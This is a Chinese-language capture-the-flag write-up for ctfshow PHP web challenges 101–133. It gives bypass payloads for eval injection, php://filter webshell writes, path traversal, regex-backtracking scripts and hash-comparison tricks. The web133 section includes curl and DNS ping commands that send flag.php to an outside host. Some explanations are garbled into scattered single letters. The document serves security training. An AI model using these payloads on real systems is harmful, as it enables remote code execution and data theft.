ctfshow–web入门(web101–web115&web123&web125-web133)
web101
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
反射,通俗来讲就是可以通过一个对象来获取所属类的具体内容,php中内置了强大的反射API:
-
ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。
-
ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。
playload:
?v1=1&v2=echo new Reflectionclass&v3=;
web102
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
call_user_func():把第一个参数作为回调函数使用,后面的参数是这个函数的参数。返回调用函数的返回值。其实就是一种特殊的调用函数的方式。
substr(string,start<,length>)从string 的start位置开始提取字符串
file_put_contents():把一个字符串写入文件,如果文件不存在则创建之。
payload:
GET:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
115044383959474e6864434171594473这一串数字有些巧妙,这是16进制与字符串之间的互转,转换为16进制后的字符串,他其中又带有e也会被当做科学计数法,在这个题目中,结合hex2bin函数,从第3的数字读取转换为字符串正好就是<?=`cat *`; 实在是太妙了
POST:
v1=hex2bin
php短开标签
<?=(表达式)?>等价于<?php echo (表达式)?>web103
web102的做法这题依旧适用
web104
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
题目挺简单的啦,传两个一样的值就好
?v2=2
v1=2
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
第一个foreach循环遍历
G
E
T
数组(
U
R
L
参数),并检查其中的任何键是否等
于
′
e
r
r
o
r
′
。如果是,则脚本以消息
"
w
h
a
t
a
r
e
y
o
u
d
o
i
n
g
?
!
"
终止。第二个
f
o
r
e
a
c
h
循环遍历
_GET数组(URL参数),并检查其中的任何键是否等于'error'。如果是,则脚本以消息 "what are you doing?!" 终止。 第二个foreach循环遍历
GET数组(URL参数),并检查其中的任何键是否等于′error′。如果是,则脚本以消息"whatareyoudoing?!"终止。第二个foreach循环遍历_POST数组(表单数据),并检查其中的任何值是否等于’flag’。如果是,则脚本以消息 “what are you doing?!” 终止。
if语句检查
P
O
S
T
[
′
f
l
a
g
′
]
的值是否不等于正确的
f
l
a
g
值。如果不相等,则脚本以
_POST['flag']的值是否不等于正确的flag值。如果不相等,则脚本以
POST[′flag′]的值是否不等于正确的flag值。如果不相等,则脚本以error消息终止。
如果提供了正确的flag值,脚本将显示 “your are good”,后跟flag值和$suces消息。
这一题我们要用到可变变量先利用suces将它改为flag,再利用suces作为中间过渡将error也覆盖为flag
啥意思呢
suces–》flag
error–》suces == error=flag
playload:
GET:
?suces=flag
POST:
error=suces
web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
v1=aaroZmOk
v2=aaK1STfY这两个字符串具有相同的哈希值
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str($v1, v 2 ) ; 将解析 v2);将解析 v2);将解析v1中的查询字符串,并将结果存储在 v 2 数组中。请注意,如果 v2数组中。请注意,如果 v2数组中。请注意,如果v1不是一个有效的查询字符串,$v2可能为空或包含不完整的数据。
playload:
get ?v3[]=1
post v1=
或者GET: ?v3=240610708 POST: v1=flag=0
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
?c=a%00778
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
这个题知识点有点个多 ,主要就是对这句话的利用eval(“echo new v 1 ( v1( v1(v2());”);
这段代码里有了new定义v1的参数为一个类,将v2的内容作为函数执行,有一个重要的一点,这个定义的类我们不能用自己定义的类,需要利用到php自带的内生类来执行内容,由此才可以使得v2的命令得以执行
我们就要从php官方文档里找可以利用的类,这里我用了Exception类!
他会把传入的值输出出来比如v2给了一个phpinfo,输出出来正好与后面的()对应上,成为了phpinfo函数,机上前面有eval接着就把命令给执行了,如果传入的是system(“ls”),他输出出来成了system(“ls”)()后面这个括号就没有用到也无所谓,eval也会将它执行
最终playload:
先ls在
/?v1=exception&v2=system('tac fl36dg.txt')
web110
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd
web111
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
这个题我们要得到flag,要利用v1和v2的值去得到flag,getflag()这个函数中包含了v1v2,正则匹配还过滤了好多东西,v1的值还必须要含有CTFshow,主要的一个问题是getflag是一个内部函数,flag.php是一个外部的文件,内部的无法得到外部文件
要利用的GLOBALS把所有全局变量全输出来,结合var_dump即可得到全部的数组
web112
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file可以使用包装器 伪协议来绕过
不影响使用file_get_contents highlight_file
is_file判断,要求传入的file不是文件,但还能highlight_file,这就要说明is_file和highlight_file对于文件的判断:is_file认为伪协议不是文件,highlight_file认为伪协议是文件,所以这里传入filter伪协议即可。
?file=php://filter/resource=flag.php
web113
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
官方给的解法
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
一个目录溢出,让is_file文件认为flag.php不是文件,但highlight_file函数认他为是文件,可得到flag
利用伪协议的解法,过滤了filter伪协议,我们要试试有没有其它的伪协议可以用,这个是可以的
?file=compress.zlib://flag.php
web114
/?file=php://filter/resource=flag.php
web115
这道题有些玄学
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
前面说了num不等于36,后面有等于。。。。但是却能过
先过is_numeric函数
在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断。
这题主要过得是trim函数
他去除了空格符,制表符,换行符,回车符,空字节符,垂直制表符
发现最后%0c还可以用
对于前面的玄学,要等于36,又要不等于,在我们看来不可能,但他就是行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ov2Ocen4-1686229590701)(D:\本地文本记录\ctfshow–web入门(web101–).assets\image-20230607182319926.png)]
payload:num?%0c36
%0c==\f
web123
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
第一种方法:
利用highlight_file函数
get:?shell=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])
第二种方法:
echo被过滤了,打印的被过滤了,我们就找一个其他可打印的命令 extract
CTF_SHOW=&CTF[SHOW.COM=&fun=extract($__POST)&fl0g=flag_give_me
web126
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
看了半天讲解,给我绕的有点晕,这一题要用到
a = a= a=SERVER[‘argv’];
_$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 array。这个数组中的条目由 Web 服务器创建,所以不能保证每个 Web 服务器都提供全部条目;服务器可能会忽略一些,或者提供此处没有列举出来的其它内容
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
playload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
这里a是传入argv的一个参数,被当做一个数组传入进去,数组他是以空格进行分割的,比如ls /-a,(斜杠前面有个空格),ls就是argv[0],/-a就是argv[2],这一题就是利用这一个性质,parse_str输出的是argv的第2个数组恰好就是加号(+会被解析成空格嘛)后面的就只要了fl0g=flag_give_me
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127
这个题主要考了这个特性
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、.+、[则会被转化为_,
/?ctf show=ilove36d
web128
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
call_user_func
call_user_func — 把第一个参数作为回调函数调用
payload: ?f1=_&f2=get_defined_vars
web129
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
目录穿越,看着真好玩来还,可是不会做,看大佬解解法,
方法一
竟然可以用filter,确实厉害
?f=php://filter/ctfshow/resource=flag.php
方法二
目录穿越
主要就是借取striops函数的作用,查到第一次出现CTFshow的位置上,在这过程中,把前面文件的内容顺便也显现出来
/ctfshow/../../../../var/www/html/flag.php
web130
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
.+?
表示匹配任意字符一个或则多个。
.*?
表示匹配任意字符0个或多个。
-
.
匹配除换行符 \n 之外的任何单字符。 -
+
匹配前面的子表达式一次或多次。 -
?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。 -
/i
不区分大小写 -
/s
匹配任何空白字符,包括空格、制表符、换页符等等。 -
题中整个正则表达式的意思就是,以任意一个或多个字符开头,遇到ctfshow就匹配,不区分大小写,不能有任何空白字符。
也就是说输入的内容里,ctfshow前面不能有字符。
f=ctfshow
import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
或者
用数组绕过
f[]=1
web131
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
可以用回溯
import requests
url='http://00592da5-ff45-419f-b815-f6ea555ebc77.challenge.ctf.show/'
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
具体可看大佬的博客https://www.laruence.com/2010/06/08/1579.html
简单说正则匹配是有范围的,超出了范围就不匹配了,这个限制是可以自己设置的,但默认是100000
web132
刚进去是个网页,dirsearch扫一下后台发现/admin,登录
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: [email protected]
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
访问获取源码,其中第二个if条件判断里有||
,那么只要$username ==="admin"即可满足整个判断。
最后的payload:
?username=admin&password=&code=admin
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin
#在判断这个的时候
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕过
web133
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
substr函数会借取传入的字符串,
因为substr只是截取前6个字符,并不会改变$F
的值,那么如果传递的值就是$F
本身。
官方给的提示:https://blog.csdn.net/qq_46091464/article/details/109095382
第一种解法
有多种解法,先做正常解法,利用curl -f
payload
其中-F 为带文件的形式发送post请求
xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F [email protected] 后面跟burp得到的域名网址
具体步骤:
获取一个域名地址
然后即可
第二种解法
dnslog外带http://www.dnslog.cn/
先用dnslog获得一个网站
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1